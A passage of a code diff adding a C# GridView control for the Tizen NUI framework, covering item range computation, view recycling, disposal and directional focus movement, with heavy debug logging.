+        public int GetCellCount(int groupIndex, int columnIndex)
+        {
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT;
+            }
+
+            Column curColumn = groupList.ElementAt(groupIndex).columnList.ElementAt(columnIndex);
+
+            if (curColumn.cellList == null)
+            {
+                return INVALID_COUNT;
+            }
+
+            return curColumn.cellList.Count;
+        }
+
+ 
+        /// <summary>
+        /// Get item count of a group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>Items count</returns>
+        public int GetItemCount(int groupIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            return curGroup.itemList.Count;
+        }
+        /// <summary>
+        /// Get the GridBridge of GridView.
+        /// </summary>
+        /// <returns>The GridBridge of GridView.</returns>
+        public GridBridge GetBridge()
+        {
+            return gridBridge;
+        }
+        /// <summary>
+        /// Get on screen item range.
+        /// </summary>
+        /// <param name="startGroupIndex">The group index of start range.</param>
+        /// <param name="startItemIndex">The item index of start range.</param>
+        /// <param name="endGroupIndex">The group index of end range.</param>
+        /// <param name="endItemIndex">The item index of end range.</param>
+        public void GetOnscreenRange(out int startGroupIndex, out int startItemIndex, out int endGroupIndex, out int endItemIndex)
+        {
+            startGroupIndex = onScreenRange.startGroupInScrn;
+            startItemIndex = onScreenRange.startItemIndexInScrn;
+            endGroupIndex = onScreenRange.endGroupInScrn;
+            endItemIndex = onScreenRange.endItemIndexInScrn;
+        }
+
+        /// <summary>
+        /// Move focus according to parameter direction
+        /// </summary>
+        /// <param name="direction">Focus move direction, can be "Left", "Right",  "Up" or "Down"</param>
+        public void Move(string direction)
+        {
+            MoveFocus(direction);
+        }
+
+        /// <summary>
+        /// Get screen position of specified item.
+        /// </summary>
+        /// <param name="groupIndex">Group index of linear view.</param>
+        /// <param name="itemIndex">Item index of group.</param>
+        /// <exception cref="System.ArgumentNullException">
+        /// Thrown when groupIndex or item index is invalid.
+        /// </exception>
+        /// <returns>Screen position of specified item.</returns>
+        public Position2D GetItemScreenPosition(int groupIndex, int itemIndex)
+        {
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                throw new ArgumentException("Group index or item index is invalid");
+            }
+
+            GridItem curItem = groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex);
+            return curItem?.itemView?.ScreenPosition;
+        }
+
+        /// <summary>
+        /// Dispose of GridView.
+        /// </summary>
+        /// <param name="type">Dispose caused type</param>
+        protected override void Dispose(DisposeTypes type)
+        {
+            if (disposed)
+            {
+                return;
+            }
+
+            if (type == DisposeTypes.Explicit)
+            {
+                //Called by User
+                //Release your own managed resources here.
+                //You should release all of your own disposable objects here.
+
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Dispose"));
+                focusMoveAni?.Stop();
+                focusMoveAni?.Dispose();
+                focusMoveAni = null;
+
+                ClearRecycleBin();
+                ResetGroup(0);
+            }
+
+            //Release your own unmanaged resources here.
+            //You should not access any managed member here except static instance.
+            //because the execution order of Finalizes is non-deterministic.
+            //Unreference this from if a static instance refer to this. 
+
+            //You must call base.Dispose(type) just before exit.
+            base.Dispose(type);
+        }
+
+        /// <summary>
+        /// GridView event handler
+        /// </summary>
+        public event EventHandler<GridEventArgs> GridEvent
+        {
+            add
+            {
+                gridEventHandlers += value;
+            }
+
+            remove
+            {
+                gridEventHandlers -= value;
+            }
+        }
+        /// <summary>
+        /// Update when GridView attributes changed.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        protected void OnRelayoutUpdate(object sender, EventArgs e)
+        {
+            gridWidth = this.SizeWidth;
+            gridHeight = this.SizeHeight;
+            Tizen.Log.Fatal("NUI", "...OnRelayoutUpdateOnRelayoutUpdateOnRelayoutUpdateOnRelayoutUpdate...");
+            if (gridBridge != null)
+            {
+                Load();
+
+                if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+                {
+                    SetFocus(focusGroupIndex, focusItemIndex);
+                }
+            }
+        }
+
+        private void OnListEvent(GridEventArgs e)
+        {
+            if (gridEventHandlers != null)
+            {
+                gridEventHandlers(this, e);
+            }
+        }
+
+        private void Initialize()
+        {
+            ClippingMode = ClippingModeType.ClipChildren;
+
+
+            groupList = new List<Group>();
+            itemGroup = new View();
+            itemGroup.Name = "ItemGroup";
+            itemGroup.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+            itemGroup.PivotPoint = Tizen.NUI.PivotPoint.TopLeft;
+            this.Add(itemGroup);
+
+            itemGroupRect = new Rect(0, 0, 0, 0);
+
+            curInMemoryItemSet = new HashSet<GridItem>();
+            nextInMemoryItemSet = new HashSet<GridItem>();
+
+            lastVisibleArea = new Rect(0, 0, 0, 0);
+            onScreenRange = new Range(-1, -1, -1, -1);
+
+            refXForFocusMove = -1;
+            refYForFocusMove = -1;
+
+            focusGroupIndex = 0;
+            focusItemIndex = 0;
+
+            focusTagGroupIndex = 0;
+            focusTagItemIndex = 0;
+
+            StateRightCircularEnable = false;
+            StateLeftCircularEnable = false;
+            
+
+            focusMoveAni = new LinkerAnimation(itemGroup, 100, 100, 0);
+            focusMoveAni.ViaEvent += OnFocusMoveViaEvent;
+            
+            ScrollBarFadeOutDuration = 1000;
+        }
+
+        private void Load()
+        {
+            Tizen.Log.Fatal("NUI", "...lOAD...");
+            int groupCount = groupList.Count;
+            if (groupCount == 0)
+            {
+                return;
+            }
+
+            for (int i = 0; i < groupCount; i++)
+            {
+                Group curGroup = groupList.ElementAt(i);
+                int dataCount = gridBridge.GetItemCount(i);
+
+                int finalCount = curGroup.realCellCount < dataCount ? curGroup.realCellCount : dataCount;
+
+                int bindedItemCount = curGroup.itemList.Count;
+
+                for (int j = 0; j < finalCount; j++)
+                {
+                    GridItem newItem;
+                    if (j < bindedItemCount)
+                    {
+                        newItem = curGroup.itemList.ElementAt(j);
+                    }
+                    else
+                    {
+                        Cell curCell = curGroup.itemIndexToCell[j];
+                        newItem = new GridItem();
+                        newItem.groupIndex = i;
+                        newItem.index = j;
+                        newItem.rect = curCell.rect;
+                        curGroup.itemList.Add(newItem);
+                    }
+                }
+
+                //add for right move between group when not all columns filled
+                if (finalCount >= 1)
+                {
+                    Cell lastItemCell = GetCellByItemIndex(i, finalCount - 1);
+                    curGroup.lastFilledColumnIndex = lastItemCell.columnIndex;
+                }
+            }
+
+            UpdateItemGroupSize();
+
+            InitItemGroupPosition();
+            UpdateInMemoryItems();
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+        }
+
+        private void UpdateInMemoryItems()
+        {
+            Rect windowRect = new Rect(-itemGroupRect.X, -itemGroupRect.Y, gridWidth, gridHeight);
+
+            List<GridItem> loadItemList = new List<GridItem>();
+            List<GridItem> unloadItemList = new List<GridItem>();
+
+            GetChangedItems(lastVisibleArea, windowRect, ref loadItemList, ref unloadItemList);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  loadItemList.Count: " + loadItemList.Count + " unloadItemList.Count: " + unloadItemList.Count);
+            lastVisibleArea.X = windowRect.X;
+            lastVisibleArea.Y = windowRect.Y;
+            lastVisibleArea.Width = windowRect.Width;
+            lastVisibleArea.Height = windowRect.Height;
+
+            foreach (GridItem item in unloadItemList)
+            {
+                UnloadItem(item);
+            }
+
+            foreach (GridItem item in loadItemList)
+            {
+                LoadItem(item);
+            }
+            
+        }
+
+        private void UpdateInMemoryItems(Position itemGroupPos)
+        {
+            Rect windowRect = new Rect(-itemGroupPos.X, -itemGroupPos.Y, gridWidth, gridHeight);
+
+            List<GridItem> loadItemList = new List<GridItem>();
+            List<GridItem> unloadItemList = new List<GridItem>();
+
+            GetChangedItems(lastVisibleArea, windowRect, ref loadItemList, ref unloadItemList);
+            lastVisibleArea.X = windowRect.X;
+            lastVisibleArea.Y = windowRect.Y;
+            lastVisibleArea.Width = windowRect.Width;
+            lastVisibleArea.Height = windowRect.Height;
+
+            foreach (GridItem item in unloadItemList)
+            {
+                UnloadItem(item);
+            }
+
+            foreach (GridItem item in loadItemList)
+            {
+                LoadItem(item);
+            }
+
+        }
+
+        private void UnloadItem(GridItem item, bool bDirectly = false)
+        {
+            Tizen.Log.Fatal("NUI", "item: " + item + " bDirectly: " + bDirectly);
+            itemGroup.Remove(item.itemView);
+
+            if (bDirectly)
+            {
+                gridBridge.UnloadItem(item.groupIndex, item.index, item.itemView);
+            }
+            else
+            {
+                AddRecycleView(item.groupIndex, item.index, item.itemView);
+            }
+            
+            item.itemView = null;
+
+            curInMemoryItemSet.Remove(item);
+        }
+
+        private void LoadItem(GridItem item)
+        {
+            curInMemoryItemSet.Add(item);
+
+            if (item.itemView != null)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]LoadItem item view is null"));
+                return;
+            }
+
+            View temp = GetRecycleView(item.groupIndex,item.index);
+            Tizen.Log.Fatal("NUI", " temp: " + temp);
+            if (temp != null)
+            {
+                item.itemView = temp;
+                gridBridge.UpdateItem(item.groupIndex, item.index, item.itemView);
+            }
+            else
+            {
+                item.itemView = gridBridge.GetItemView(item.groupIndex, item.index);
+
+                item.itemView.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                item.itemView.PivotPoint = Tizen.NUI.PivotPoint.Center;
+                item.itemView.PositionUsesPivotPoint = false;
+            }
+
+            Tizen.Log.Fatal("NUI", "item.index: " + item.index + " item.rect.X: " + item.rect.X + " item.rect.Y: " + item.rect.Y);
+            item.itemView.Position = new Position(item.rect.X, item.rect.Y, 0.0f);
+            item.itemView.Size2D = new Size2D((int)item.rect.Width, (int)item.rect.Height);
+
+            itemGroup.Add(item.itemView);
+        }
+
+        private void SetViewTypeCount(int typeCount)
+        {
+            if (typeCount < 1)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]SetViewTypeCount type count less than 1"));
+                return;
+            }
+
+            viewTypeCount = typeCount;
+            List<View>[] viewListArray = new List<View>[viewTypeCount];
+
+            for (int i = 0; i < viewTypeCount; i++)
+            {
+                viewListArray[i] = new List<View>();
+            }
+
+            recycledViews = viewListArray;
+        }
+
+        private void AddRecycleView(int groupIndex, int itemIndex, View view)
+        {
+            int viewType = gridBridge.GetItemType(groupIndex, itemIndex);
+
+            if (viewType >= viewTypeCount)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]AddRecycleView viewType larger than viewTypeCount"));
+                return;
+            }
+
+            if (view != null)
+            {
+                view.Hide();
+                view.Scale = new Vector3(1, 1, 1);
+            }
+
+            recycledViews[viewType].Add(view);
+        }
+
+        private View GetRecycleView(int groupIndex, int itemIndex)
+        {
+            int viewType = gridBridge.GetItemType(groupIndex, itemIndex);
+            Tizen.Log.Fatal("NUI", " viewType:" + viewType + " viewTypeCount:" + viewTypeCount);
+
+            if (viewType >= viewTypeCount)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]AddRecycleView viewType larger than viewTypeCount"));
+                return null;
+            }
+
+            View obj = null;
+            int viewCount = recycledViews[viewType].Count;
+            if (viewCount != 0)
+            {
+                obj = recycledViews[viewType][viewCount - 1];
+                recycledViews[viewType].Remove(obj);
+            }
+
+            if (obj != null)
+            {
+                obj.Show();
+            }
+
+            return obj;
+        }
+
+        private void ClearRecycleBin()
+        {
+            for (int i = 0; i < viewTypeCount; i++)
+            {
+                for (int j = 0; j < recycledViews[i].Count; j++)
+                {
+                    UnloadRecycledView(i, recycledViews[i][j]);
+                }
+
+                recycledViews[i].Clear();
+            }
+        }
+
+        private void UnloadRecycledView(int viewType, View view)
+        {
+            itemGroup.Remove(view);
+            gridBridge.UnloadItemByViewType(viewType, view);
+        }
+
+        private void GetChangedItems(Rect aLastVisibleArea, Rect curVisibleArea, ref List<GridItem> loadItem, ref List<GridItem> unloadItem)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  aLastVisibleArea.X: " + aLastVisibleArea.X + " aLastVisibleArea.Y: " + aLastVisibleArea.Y + " aLastVisibleArea.Width: " + aLastVisibleArea.Width + " aLastVisibleArea.Height: " + aLastVisibleArea.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  curVisibleArea.X: " + curVisibleArea.X + " curVisibleArea.Y: " + curVisibleArea.Y + " curVisibleArea.Width: " + curVisibleArea.Width + " curVisibleArea.Height: " + curVisibleArea.Height);
+            GetOnscreenRange(curVisibleArea, ref onScreenRange);
+
+            //Adjust the new start column: if the start column has items which are merge_hidden, 
+            //find the item's smalllest start column as the new start column.
+            Column startColumn = groupList.ElementAt(onScreenRange.startGroupIndex).columnList.ElementAt(onScreenRange.startColumnIndex);
+            int cellCount = startColumn.cellList.Count;
+
+            //save new range items to list
+            nextInMemoryItemSet.Clear();
+            GetItemsInRange(onScreenRange, ref nextInMemoryItemSet);
+
+            loadItem = nextInMemoryItemSet.Except(curInMemoryItemSet).ToList();
+            unloadItem = curInMemoryItemSet.Except(nextInMemoryItemSet).ToList();
+        }
+
+        private void GetOnscreenRange(Rect visibleArea, ref Range range, bool bAllInArea = false)
+        {
+            Cell focusedCell = GetCellByItemIndex(focusGroupIndex, focusItemIndex);
+
+            int focusColumnIndex = focusedCell.columnIndex;
+
+            float areaStartPos, areaEndPos, focusedCellStart, focusedCellEnd;
+            if (GridType.Horizontal == gridType)
+            {
+                areaStartPos = visibleArea.X;
+                areaEndPos = visibleArea.X + visibleArea.Width;
+                focusedCellStart = focusedCell.rect.X;
+                focusedCellEnd = focusedCell.rect.X + focusedCell.rect.Width;
+            }
+            else
+            {
+                areaStartPos = visibleArea.Y;
+                areaEndPos = visibleArea.Y + visibleArea.Height;
+                focusedCellStart = focusedCell.rect.Y;
+                focusedCellEnd = focusedCell.rect.Y + focusedCell.rect.Height;
+            }
+
+            bool bStartFound = false, bEndFound = false;
+
+            int groupCount = groupList.Count;
+            //find start range
+            if ((bAllInArea == true && focusedCellStart < areaStartPos)
+                || (bAllInArea == false && focusedCellEnd < areaStartPos))
+            {
+               for (int i = focusGroupIndex; i < groupCount && bStartFound == false; i++)
+               {
+                   Group curGroup = groupList.ElementAt(i);
+                   int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : 0;
+                   int columnCount = curGroup.columnList.Count;
+                   for (int j = startColumnIndex; j < columnCount; j++)
+                   {
+                       Column curColumn = curGroup.columnList.ElementAt(j);
+                       if (true == bAllInArea)
+                       {
+                           if (curColumn.startPos >= areaStartPos)
+                           {
+                               range.startGroupIndex = i;
+                               range.startColumnIndex = j;
+                               bStartFound = true;
+                               break;
+                           }
+                       }
+                       else
+                       {
+                           if (curColumn.endPos > areaStartPos)
+                           {
+                               range.startGroupIndex = i;
+                               range.startColumnIndex = j;
+                               bStartFound = true;
+                               break;
+                           }
+                       }
+                   }
+               }
+            }
+            else
+            {
+                for (int i = focusGroupIndex; i >= 0 && bStartFound == false; i--)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int columnCount = curGroup.columnList.Count;
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : columnCount - 1;
+                    for (int j = startColumnIndex; j >= 0; j--)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.startPos <= areaStartPos)
+                        {
+                            if (bAllInArea == true)
+                            {
+                                if (j == columnCount - 1)
+                                {
+                                    range.startGroupIndex = i + 1;
+                                    range.startColumnIndex = 0;
+                                }
+                                else
+                                {
+                                    range.startGroupIndex = i;
+                                    range.startColumnIndex = j + 1;
+                                }
+
+                                bStartFound = true;
+                                break;
+                            }
+                            else
+                            {
+                                if (curColumn.endPos > areaStartPos)
+                                {
+                                    range.startGroupIndex = i;
+                                    range.startColumnIndex = j;
+                                }
+                                else
+                                {
+                                    if (j == columnCount - 1)
+                                    {
+                                        range.startGroupIndex = i + 1;
+                                        range.startColumnIndex = 0;
+                                    }
+                                    else
+                                    {
+                                        range.startGroupIndex = i;
+                                        range.startColumnIndex = j + 1;
+                                    }
+                                }
+
+                                bStartFound = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+
+            if (bStartFound == false)
+            {
+                range.startGroupIndex = 0;
+                range.startColumnIndex = 0;
+            }
+
+            //find end range
+            if ((bAllInArea == true && focusedCellEnd >= areaEndPos)
+                || (bAllInArea == false && focusedCellStart >= areaEndPos))
+            {
+                for (int i = focusGroupIndex; i >= 0 && bEndFound == false; i--)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int columnCount = curGroup.columnList.Count;
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : columnCount - 1;
+                    for (int j = startColumnIndex; j >= 0; j--)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (bAllInArea == true)
+                        {
+                            if (curColumn.endPos <= areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                                bEndFound = true;
+                                break;
+                            }
+                        }
+                        else
+                        {
+                            if (curColumn.startPos <= areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                                bEndFound = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+            else
+            {
+                for (int i = focusGroupIndex; i < groupCount && bEndFound == false; i++)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : 0;
+                    int columnCount = curGroup.columnList.Count;
+                    for (int j = startColumnIndex; j < columnCount; j++)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.endPos >= areaEndPos)
+                        {
+                            if (curColumn.startPos < areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                            }
+                            else
+                            {
+                                if (j == 0)
+                                {
+                                    range.endGroupIndex = i - 1;
+                                    range.endColumnIndex = groupList.ElementAt(i - 1).columnList.Count - 1; 
+                                }
+                                else
+                                {
+                                    range.endGroupIndex = i;
+                                    range.endColumnIndex = j - 1;
+                                }
+                            }
+
+                            bEndFound = true;
+                            break;
+                        }
+                    }
+                }
+            }
+
+            if (bEndFound == false)
+            {
+                range.endGroupIndex = groupCount - 1;
+                range.endColumnIndex = groupList.ElementAt(range.endGroupIndex).columnList.Count - 1;
+            }
+
+            range.startGroupInScrn = range.startGroupIndex;
+            range.startColumnInScrn = range.startColumnIndex;
+            range.endGroupInScrn = range.endGroupIndex;
+            range.endColumnInScrn = range.endColumnIndex;
+            
+            //get on screen start and end item index
+            Group startGroup = groupList.ElementAt(range.startGroupInScrn);
+            Column startColumn = startGroup.columnList.ElementAt(range.startColumnInScrn);
+            Cell startCell = startColumn.cellList.ElementAt(0);
+            range.startItemIndexInScrn = startCell.itemIndex;
+            if (range.startItemIndexInScrn >= startGroup.itemList.Count)
+            {
+                range.startItemIndexInScrn = startGroup.itemList.Count - 1;
+            }
+
+            Group endGroup = groupList.ElementAt(range.endGroupInScrn);
+            Column endColumn = endGroup.columnList.ElementAt(range.endColumnInScrn);
+            Cell endCell = endColumn.cellList.ElementAt(endColumn.cellList.Count - 1);
+            range.endItemIndexInScrn = endCell.itemIndex;
+            if (range.endItemIndexInScrn >= endGroup.itemList.Count)
+            {
+                range.endItemIndexInScrn = endGroup.itemList.Count - 1;
+            }
+
+            //add buffer columns
+            int frontBufferCount = preloadFrontColumnSize;
+            while (frontBufferCount-- > 0)
+            {
+                if (range.startColumnIndex > 0)
+                {
+                    range.startColumnIndex--;
+                }
+                else
+                {
+                    if (range.startGroupIndex > 0)
+                    {
+                        range.startGroupIndex--;
+                        range.startColumnIndex = groupList.ElementAt(range.startGroupIndex).columnList.Count - 1;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                }
+            }
+
+            int backBufferCount = preloadBackColumnSize;
+            while (backBufferCount-- > 0)
+            {
+                if (range.endColumnIndex < groupList.ElementAt(range.endGroupIndex).columnList.Count - 1)
+                {
+                    range.endColumnIndex++;
+                }
+                else
+                {
+                    if (range.endGroupIndex < groupList.Count - 1)
+                    {
+                        range.endGroupIndex++;
+                        range.endColumnIndex = 0;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                }
+            }
+        }
+        
+        private void GetItemsInRange(Range range, ref HashSet<GridItem> itemSet)
+        {
+            for (int i = range.startGroupIndex; i <= range.endGroupIndex; i++)
+            {
+                Group curGroup = groupList.ElementAt(i);
+                int startColumnIndex = (i == range.startGroupIndex) ? range.startColumnIndex : 0;
+                int endColumnIndex = (i == range.endGroupIndex) ? range.endColumnIndex : curGroup.columnList.Count - 1;
+
+                for (int j = startColumnIndex; j <= endColumnIndex; j++)
+                {
+                    Column curColumn = curGroup.columnList.ElementAt(j);
+
+                    for (int k = 0; k < curColumn.cellList.Count; k++)
+                    {
+                        Cell curCell = curColumn.cellList.ElementAt(k);
+                        if (curCell.itemIndex < curGroup.itemList.Count)
+                        {
+                            itemSet.Add(curGroup.itemList.ElementAt(curCell.itemIndex));
+                        }
+                    }
+                }
+            }
+        }
+
+        private void MoveFocus(string direction)
+        {
+            string logicalDirection = GetLogicalDirection(direction);
+            MoveFocus(logicalDirection, focusTagGroupIndex, focusTagItemIndex);
+        }
+
+        // Get the specific groupIndex,itemIndex neighbor item according to direction
+        private GridItem GetItemByDirection(string direction, int fromGroupIndex, int fromItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> direction: " + direction + " fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex);
+            Cell currentCell = GetCellByItemIndex(fromGroupIndex, fromItemIndex);
+
+            //adjust focused column index based on reference line
+            Group currentGroup = groupList.ElementAt(fromGroupIndex);
+            int currentColumnIndex = currentCell.columnIndex;
+            Column currentColumn = currentGroup.columnList.ElementAt(currentColumnIndex);
+
+            int destFocusGroupIndex = -2, destFocusItemIndex = -2;
+            int destFocusColumnIndex = -1;
+            switch (direction)
+            {
+                case "Up":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (currentCell.rowIndex == 0)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else
+                    {
+                        Cell nextCell = currentColumn.cellList.ElementAt(currentCell.rowIndex - 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+
+                    break;
+                case "Down":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (currentCell.rowIndex >= currentColumn.cellList.Count - 1)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else if (fromItemIndex == currentGroup.itemList.Count - 1)
+                    {
+                        destFocusColumnIndex = currentColumnIndex - 1;
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex + 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+                    else
+                    {
+                        Cell nextCell = currentColumn.cellList.ElementAt(currentCell.rowIndex + 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+
+                    break;
+                case "Left":
+                    if (currentCell.columnIndex == 0)
+                    {
+                        if (fromGroupIndex == 0)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex - 1;
+                            Group nextGroup = groupList.ElementAt(destFocusGroupIndex);
+                            destFocusColumnIndex = nextGroup.columnList.Count - 1;
+
+                            Column nextColumn = nextGroup.columnList.ElementAt(destFocusColumnIndex);
+                            if (currentCell.rowIndex >= nextColumn.cellList.Count)
+                            {
+                                Cell nextCell = nextColumn.cellList.ElementAt(nextColumn.cellList.Count - 1);
+                                destFocusItemIndex = nextCell.itemIndex;
+                            }
+                            else
+                            {
+                                Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                                destFocusItemIndex = nextCell.itemIndex;
+                            }
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = currentCell.columnIndex - 1;
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " currentCell.rowIndex: " + currentCell.rowIndex);
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                        destFocusItemIndex = nextCell.itemIndex;
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+                    }
+
+                    break;
+                case "Right":
+                    if (currentColumnIndex == currentGroup.columnList.Count - 1)
+                    {
+                        if (fromGroupIndex == groupList.Count - 1)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex + 1;
+                            destFocusColumnIndex = 0;
+                            Group nextGroup = groupList.ElementAt(destFocusGroupIndex);
+                            Column nextColumn = nextGroup.columnList.ElementAt(destFocusColumnIndex);
+                            Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                            destFocusItemIndex = nextCell.itemIndex;
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = currentColumnIndex + 1;
+
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " currentCell.rowIndex: " + currentCell.rowIndex);
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        if (currentCell.rowIndex >= nextColumn.cellList.Count)
+                        {
+                            
+                            Cell nextCell = nextColumn.cellList.ElementAt(nextColumn.cellList.Count - 1);
+                            destFocusItemIndex = nextCell.itemIndex;
+                            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex + " currentCell.rowIndex: " + currentCell.rowIndex + " nextColumn.cellList.Count: " + nextColumn.cellList.Count);
+                        }
+                        else
+                        {
+                            Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                            destFocusItemIndex = nextCell.itemIndex;
+                            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex + " currentCell.rowIndex: " + currentCell.rowIndex + " nextColumn.cellList.Count: " + nextColumn.cellList.Count);
+                        }
+                    }
+
+                    break;
+                default:
+                    break;
+            }
+
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " destFocusItemIndex: " + destFocusItemIndex);
+            GridItem item = null;
+            if (IsGroupIndexValid(destFocusGroupIndex) == true && IsItemIndexValid(destFocusGroupIndex, destFocusItemIndex))
+            {
+                item = groupList.ElementAt(destFocusGroupIndex).itemList.ElementAt(destFocusItemIndex);
+            }
+
+            return item;
+        }
+
+        private void MoveFocus(string direction, int fromGroupIndex, int fromItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> direction: " + direction + " fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex);
+            Cell curFocusedCell = GetCellByItemIndex(fromGroupIndex, fromItemIndex);
+            //change reference line of focus move
+            if (refXForFocusMove == -1)
+            {
+                refXForFocusMove = curFocusedCell.rect.X;
+            }
+
+            if (refYForFocusMove == -1)
+            {
+                refYForFocusMove = curFocusedCell.rect.Y;
+            }
+            
+            //adjust focused column index based on reference line
+            Group focusedGroup = groupList.ElementAt(fromGroupIndex);
+            int focusedColumnIndex = curFocusedCell.columnIndex;
+
+            Column focusedColumn = focusedGroup.columnList.ElementAt(focusedColumnIndex);
+
+            int destFocusGroupIndex = -2, destFocusItemIndex = -2;
+            int destFocusColumnIndex = -1;
+            switch (direction)
+            {
+                case "Up":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (curFocusedCell.index == 0)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else
+                    {
+                        Cell nextCell = focusedColumn.cellList.ElementAt(curFocusedCell.index - 1);
+                        {
+                            destFocusItemIndex = nextCell.itemIndex;
+                            if (destFocusItemIndex >= 0 && destFocusItemIndex < groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                if (GridType.Horizontal == gridType)
+                                {
+                                    refYForFocusMove = nextCell.rect.Y;
+                                }
+                                else
+                                {
+                                    refXForFocusMove = nextCell.rect.X;
+                                }
+                            }
+                        }
+                    }
+
+                    break;
+                case "Down":
+                    destFocusGroupIndex = fromGroupIndex;
+                    int destCellIndex = curFocusedCell.index + 1;
+                    if (destCellIndex >= focusedColumn.cellList.Count || fromItemIndex == focusedGroup.itemList.Count - 1)
+                    {
+                        destFocusItemIndex = -1;
+                        if (fromItemIndex == focusedGroup.itemList.Count - 1)
+                        {
+                            destFocusColumnIndex = focusedColumnIndex - 1;
+                            Cell cellBelow = FindCellBelow(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex);
+                            if (cellBelow != null)
+                            {
+                                destFocusItemIndex = cellBelow.itemIndex;
+                                refXForFocusMove = cellBelow.rect.X;
+                                refYForFocusMove = cellBelow.rect.Y;
+                            }
+                        }
+                    }
+                    else
+                    {
+                        Cell nextCell = null;
+                        for (; destCellIndex < focusedColumn.cellList.Count; destCellIndex++)
+                        {
+                            nextCell = focusedColumn.cellList.ElementAt(destCellIndex);
+                            {
+                                break;
+                            }
+                        }
+
